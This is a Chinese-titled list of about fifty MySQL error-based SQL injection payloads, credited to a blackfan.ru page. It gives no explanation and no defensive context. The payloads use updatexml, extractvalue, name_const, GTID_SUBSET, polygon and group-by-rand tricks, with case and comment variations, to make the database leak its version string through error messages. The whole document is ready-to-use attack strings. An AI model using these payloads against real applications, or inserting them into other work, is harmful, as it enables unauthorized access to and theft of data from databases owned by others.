mysql 报错注入语句_mysql 报错注入语句

'-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)#

'=0 group by elt(rand(),version())having sum(0)#

'-updatexml(0,repeat(version(),2),2)#

'|polygon((select*from(select name_const(version(),1))x))#

'--~(select*from(select@@version)f)#

'|GTID_SUBSET(@@version,0)#

'/(select*from(select+name_const(version(),1),name_const(version(),1))a)#

'=0 group by elt(rand(),version())having min(0)#

'/updatexml(0,repeat(version(),2),0)#

'-polygon((select*from(select name_const(version(),1))o))#

'/gtid_subset(@@version,0)#

'|(select*from(select name_const(version(),1),name_const(version(),1))a)#

'|updatexml(1,repeat(version(),2),1)#

'<1 group by elt(rand(),version())having min(0)#

'|polygon((select*from(select name_const(version(),1))p))#

'|!(select*from(select@@version)x)-~0#

'or 1 group by concat(version(),floor(rand(0)*2)) having min(0)or''='

' and extractvalue(rand(0),concat(0x0a,version()))or''='

'--~(select*from(select@@version)f)#

'|(select!x-~0.FROM(select+version()x)f)#

'|(select!x-~0.FROM(select@@version x)f)#

'UnIoN SeLeCt CoUnT(`TeXt`) FrOm test.news WhErE 1=1 GrOuP By CoNcAt(VeRsIoN(),FlOoR(RaNd(1337)*2)),'

'-(select*from(select name_const(version(),1),name_const(version(),1))p)#

'/updatexml(0,concat(0xa,version()),0)#

'/updatexml(0,concat('$_',version()),0)#

'-updatexml(1,concat('a=.',version()),1)#

'-updatexml(1,LPAD(.1,999,hex(hex(version()))),1)#

'/polygon((select*from(select name_const(version(),1))o))#

'-~(select*from(select@@version)x)*2#

1e308'*(select*from(select@@version)x)#

'-(select~b*a*a*a from(select~0/.1 a,version()b)x)#

'-GTID_SUBSET(@@version,0)#

'|updatexml(1,concat('a=.',version()),1)#

'|updatexml(0,concat('$_',version()),2)#

'-updatexml(0,concat(0x1,version()),2)#

'|updatexml(0,lpad(.1,350,hex(hex(version()))),1)#

'|(~(select*from(select@@version)f)*2)#

'|~(select*from(select@@version)x)*cast(1e99as decimal(65))#

'||1 group by mid(version(),rand())having min(1)#

'|UpdateXML(1,concat('/',version()),1)#

'|UpdateXML(1,concat('$_',version()),1)#

'|ExtractValue(1,concat('/a[x=y]',version()))#

'|Polygon((select*from(select name_const(version(),1))b))#

'|UpdateXML(0,CONCAT(hex(hex(version())),repeat(0,285),'.'),1)#

'|(select-9223372036854775808-(x||1)FROM(select+version()x)z)#

'|(select pow(2,~x)FROM(select+version()x)z)#

'|(select~0*cast(x as DECIMAL(1))*~0*~0*~0.FROM(select+version()x)z)#

'|GTID_SUBSET(version(),0)#

'||1 group by concat(left(version(),9),rand(0)|0) having max(0)#

'-updatexml(1,concat('.a=a',version()),1)#

From : http://blackfan.ru/mysql_game/